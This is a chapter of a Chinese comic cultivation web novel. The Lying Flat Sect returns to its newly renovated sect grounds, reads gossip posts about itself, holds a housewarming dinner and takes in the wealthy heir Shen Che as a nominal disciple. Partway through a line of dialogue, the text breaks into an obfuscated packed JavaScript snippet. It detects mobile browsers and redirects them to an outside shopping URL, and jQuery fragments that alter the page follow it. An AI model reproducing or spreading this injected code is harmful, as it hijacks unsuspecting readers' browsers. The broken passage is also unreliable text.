九只凤凰拉着三辆云车穿过层云时,牧殇百无聊赖地掏出玉简,本想随手翻翻打发时间,却在看清首页热搜的瞬间险些把玉简扔出去。
那上面密密麻麻挤满了关于他们的词条,从“躺平宗上京十日游”到“沈彻到底花了多少钱”再到“躺平宗新山门曝光”,热度最高的几条竟全被他们承包,连带着那些讨论区里的评论都以令人眼花缭乱的速度疯狂增长。
第一个帖子。
【全程跟拍】躺平宗在上京的十天,我拍到了什么?
发帖人:上京小灵通
内容:本人这几天一直在跟拍躺平宗的诸位。他们去了东市、西市、戏院、温泉、摘星楼……吃了三百多道菜,买了无数东西。沈彻全程陪同,全程付钱。我算了一下,这十天,沈彻至少花了十万两。
评论区:
“十万两???”
“沈彻这么有钱吗?”
“沈彻是沈家少主,当然有钱。”
“问题是,他为什么给躺平宗花这么多钱?”
“楼上你还没看明白?沈彻这是在交朋友。”
“十万两交朋友……这朋友交得也太贵了。”
“但你看看躺平宗那些人——三个老妖怪,一个渡劫期,一个元婴期,一个化神期。这朋友,值。”
“有钱人的世界,你们不懂。”
祁幻听到这里,嘴角抽了抽。
第二条帖子。
【独家】沈彻入群聊天记录曝光!
发帖人:匿名
内容:据可靠消息,沈彻已经加入了躺平宗的内部群聊!以下是部分聊天记录截图——
截图1:
钱多多:@沈彻,谢谢!
沈彻:星河姐你别生气,我马上退。
典星河:我不是这个意思,只是没注意你进群了。
沈彻:那我,算躺平宗一员么?
典星河:挂名费一百两。
沈彻:等我亲自送去宗里。
评论区:
“哈哈哈哈哈哈挂名费一百两!”
“沈彻:我这就去送!”
“所以沈彻现在是躺平宗的人了?”
“挂名的,得交钱。”
“一百两对沈彻来说,也就一顿饭钱。”
“但他亲自送去,这诚意满满啊。”
第三个帖子。
【投票】沈彻和躺平宗,到底是什么关系?
选项:
A.仇家后代,赔礼道歉
B.冤大头,被薅羊毛
C.想加入躺平宗
D.以上都是
目前C选项票数遥遥领先。
评论区:
“我选C!你看他对归尘那恭敬的态度!”
“对典星河那一声声‘星河姐’!”
“这不是想加入是什么!”
“沈彻:我只是想交个朋友。”
“网友:不,你是真想加入。”
祁幻继续往下翻。
第四个帖子则是一组九宫格高清大图,拍的是他们那焕然一新的宗门——气派的山门、紫檀木镶金的牌匾、平整的青石板路、翻新的主殿、精致的小木屋、修整一新的灵田,还有歪脖子树下新添的石桌石凳和那个带秋千的小亭子。发帖人自称“建筑爱好者”,言辞之间满是惊叹,说沈家这次是下了血本,这修缮的用心程度,简直像是在给自己家装修。
评论区里一片“卧槽”“这也太气派了”“这是什么神仙朋友”的惊呼。
牧殇惊呼,宗门火了。
祁幻默默看了一眼窗外,心里涌起一股奇怪的感觉——明明才离开十天,再看那个破破烂烂的宗门变成如今这般模样,竟有种恍如隔世的恍惚。
典星河躺在车里,听见他们的动静,眼皮都没抬一下。
“火就火呗,”她慢悠悠地说,“来参观要收门票啊。”
牧殇笑得更欢了。
路途无聊,穆殇打算和沈彻聊聊天。
牧殇在群里@沈彻,问他打算叫什么。
沈彻秒回了一串问号,显然被这突如其来的问题砸懵了,牧殇趁机出馊主意说叫“上京第一深情”,被沈彻一句“太土了”无情驳回。
祁幻提议“沈家饭票”,沈彻回了一串省略号,最后还是典星河来了一句“叫‘挂名弟子沈’”,简单直接,实用至上,沈彻当即拍板采纳。
群里安静了一瞬。
牧殇看着那个新出炉的网名,沉默了。
“……掌门,”他忍不住说,“您这起名风格,真是……”
“实用就行。”典星河打断他。
当九只凤凰稳稳落在焕然一新的山门前,众人从云车上跳下来,站在那座气派的青石山门前,看着那块紫檀木镶金的牌匾上“躺平宗”三个遒劲大字,竟不约而同地沉默了整整三息。
这十天里他们被沈彻带着四处疯玩,吃遍了上京的大街小巷,逛遍了东市西市的每一条店铺,泡过温泉登过高楼听过戏,却从未想过那个破破烂烂的宗门会在他们离开的日子里悄无声息地完成如此脱胎换骨的变化。
宋栀子第一个反应过来,尖叫着冲进院子,扑向那个新建的秋千,旁边还有一座精致的小亭子,她坐上去用力荡了几下,笑声清脆得能震落树梢的积雪。
牧殇紧随其后,在新铺的青石板路上跑来跑去,一边跑一边喊“这路不硌脚了”,那欢腾劲儿活像一只撒欢的狗子。
安然走进那座按他原有小木屋复刻的新居,细细打量屋里的每一处陈设——床的位置对了,桌子的高度合适,柜子的尺寸刚好,书架上甚至还摆着他喜欢的那些书,整整齐齐一丝不苟。他走到书架前抽出一本翻了翻,嘴角浮起笑意,轻轻点了点头。
徐修坐上新添的石凳,试了试,又靠了靠,最后满意地拍了拍石桌面。
“舒服,”他说,“比以前的破石头强多了。”
穆惇蹲在灵田边,摸着那些新铺的鹅卵石,看着那片被修整得平平整整的土地,沉默片刻后站起来,言简意赅地吐出一个字:“好。”
祁幻抱着账本,看着这一切,手抖得厉害。他飞快地翻到新的一页,在上面郑重其事地写下:“宗门翻新完成,费用:零。心情:感恩。”
写完又盯着那行字看了半天,嘴角慢慢弯了起来。
归尘走到歪脖子树下,蹲下来,姿势和十年前、百年前、千年前一模一样。他抬起头,看着那座新修的亭子,看着那个晃动的秋千,看着那些被精心栽种的花草,然后从怀里掏出一颗糖,剥开糖纸放进嘴里。
甜的。
当晚他们决定办个暖房宴。
祁幻去镇上买菜,回来时手里拎着大包小包,穆惇接过东西进了厨房,安然在摆桌子,徐修在擦杯子,宋栀子在小亭子里荡秋千,牧殇在院子里跑来跑去不知忙些什么,沈念帮着安然摆碗筷,归尘蹲在树下含着糖看着这一切,典星河躺在摇椅上慢悠悠地晃着,看这满院子的热闹,嘴角噙着笑。
“要不要叫沈彻?”祁幻凑过来问。
典星河想了想,点点头。
祁幻掏出玉简在群里发了一条消息:“@挂名弟子沈,暖房宴,来不来?”
沈彻秒回:“来!马上!”
半个时辰后,一只凤凰从天而降,落地时带起的风吹得花草东倒西歪。沈彻从凤凰背上跳下来,手里拎着两个大包袱,人还没站稳就开始喊:“星河姐!我来蹭饭了!”
“不是蹭饭,”典星河躺在摇椅上,眼睛都没睁,“是请客。”
“都一样都一样!”沈彻颠颠儿地跑进院子,把包袱往地上一放,麻利地往外掏东西——三坛三百年陈酿的老酒,几盒上京最有名那家铺子的点心,还有一大筐新鲜的灵果。
徐修看见那几坛酒,眼睛都直了,一把抱过来说“好孩子”;安然拿起一块点心尝了尝,点点头说“还是那个味道”;宋栀子从秋千上跳下来跑过来,沈彻笑眯眯地从包袱里掏出一个小糖人递给她,兔子的形状,活灵活现,宋栀子接过来笑得眼睛弯成月牙,脆生生地喊了声“沈彻哥,你最好啦!”。
饭菜很快端上桌,穆惇的手艺一如既往地好,红烧肉炖得软烂入味,鸡汤清亮鲜美,青菜炒得翠绿可人,蒸鱼鲜嫩多汁,还有一大盆萝卜汤冒着热气。众
人围坐在新建的膳堂,挤得满满当当,沈彻坐在典星河旁边端着碗吃得满脸幸福,一边吃一边念叨“好吃好吃太好吃了”,穆惇看了他一眼,淡淡说了句“喜欢就多吃点”,沈彻立刻又夹了一块肉。
牧殇凑过来问沈彻看没看论坛,沈彻点点头说看了。
牧殇又问“网友说你对归尘前辈恭敬得很你有什么感想。”
沈彻愣了一下说“不应该恭敬吗?”
牧殇眨眨眼说“应该应该。”
这小子怎么这么会说。
沈彻挠挠头说“我就是觉得前辈们挺好的,躺平宗每个人都很有趣
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387686|200271||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,能认识你们是我的福气。”
安然看了他一眼,沈彻被看得有点心虚,问他“怎么了”。
安然摇摇头说“没什么,就是觉得你这人还行”。
沈彻眼睛亮了,笑得眼睛都眯了起来。
吃完饭天已经黑了,月亮升起来,照在焕然一新的院子里亮堂堂的。众人围坐着喝茶聊天。
沈彻小心翼翼地问归尘觉得新宗门怎么样,归尘看了他一眼,说“挺好”。
夜深了,沈彻要走了。他站在山门口冲他们挥手,说“星河姐我下次再来”。
典星河靠在歪脖子树上冲他挥手,说“记得带礼物”。
沈彻笑着应了,凤凰展翅腾空而起,九个人站在山门口看着那条凤凰越飞越远,消失在夜色里。
祁幻突然说:“掌门,他真的挺好的。”
典星河点点头:“嗯。”
三天后沈彻又来了,这回没带凤凰没带蛟龙,只带了两个人抬着一个大箱子。
他从箱子里整整齐齐码着的银锭上面拿起一封信递给典星河,说是他写的入宗申请书。
典星河打开信看了一眼,牧殇凑过来就念:“尊敬的躺平宗掌门:本人沈彻,男,二十三岁,金丹期,上京沈家少主,擅长花钱、交朋友、请客吃饭。申请加入躺平宗,挂名也行,正式也行,管饭就行。”
牧殇念完笑直愣愣地看着沈彻,这么认真?
安然走过来看了看那封信,说“字写得不错”,又说“比我徒弟强”,宋栀子在旁边抗议“师父!”。
安然没理她,继续看信说“这申请书写得很真诚”。
沈彻挠挠头说那是他写了一个时辰呢,徐修也凑过来说“管饭就行?你这要求真不高”。
沈彻点点头说“不高不高,能吃饱就行”。
归尘坐在树下新增的石凳上看着这一幕。
典星河把信收起来,看着沈彻问他是不是认真的。沈彻点头,说他是认真的,活了二十三年第一次遇到他们这样的人,想和他们做朋友,挂名也行正式也行,只要他们不嫌弃他。
典星河看着他,看了很久,然后笑了,说“行,挂名弟子,沈彻”。
沈彻眼睛亮了,高兴得跳起来,“到!”
牧殇跑过来拍拍他的肩说“欢迎欢迎”,宋栀子也跑过来喊“沈彻哥以后咱们是一家人了”。
沈彻笑着回应。
那天晚上沈彻留下来吃饭,穆惇又做了一桌子菜。众人围坐在一起吃着喝着聊着天,沈彻坐在典星河旁边端着碗笑得像个傻子。
祁幻看着账本喃喃自语“挂名费一百两进账心情很好”,牧殇凑过来说他应该写“今日新增人口:1人。姓名:沈彻(挂名弟子)。备注:管饭就行”。
祁幻想了想觉得有道理,拿起笔又加了一句。
归尘早已吃了饭,出来在石凳上闲坐,磕着瓜子。典星河走过来在他旁边蹲下,说“前辈,又多了个人”。
归尘点点头,嗯了一声。
典星河又问“热闹吧”。
他点了点头,说“热闹”。
典星河笑了,说“那就好”。
【章末小剧场:躺平宗摸鱼群】
钱多多:@所有人,今日进账:一百两(沈彻挂名费)。今日支出:肉五斤二百文。心情:很好。
钱多多:@挂名弟子沈,你以后一定常来。
挂名弟子沈:常来常来!管饭就行!
穆惇:@挂名弟子沈,你的饭,我包了。
挂名弟子沈:谢师姐。
王甜甜:沈彻哥!你什么时候再来?
挂名弟子沈:等萝卜能吃的时候!
李翠花:两个月后。
挂名弟子沈:那我两个月后再来!
牧殇:到时候咱们可以办个萝卜宴!
安然:这个主意不错。
徐修:配我的酒!
王甜甜:配我的秋千!
众人沉默了。
牧殇:秋千和萝卜宴有什么关系?
王甜甜:吃完可以荡秋千啊!
牧殇:……有道理。
挂名弟子沈:我能不能提前来?
李翠花:?
挂名弟子沈:我想看着它们长大。
牧殇:???
挂名弟子沈:认真的!我还没见过萝卜怎么长大呢!
安然:那你得天天来。
挂名弟子沈:天天来也行!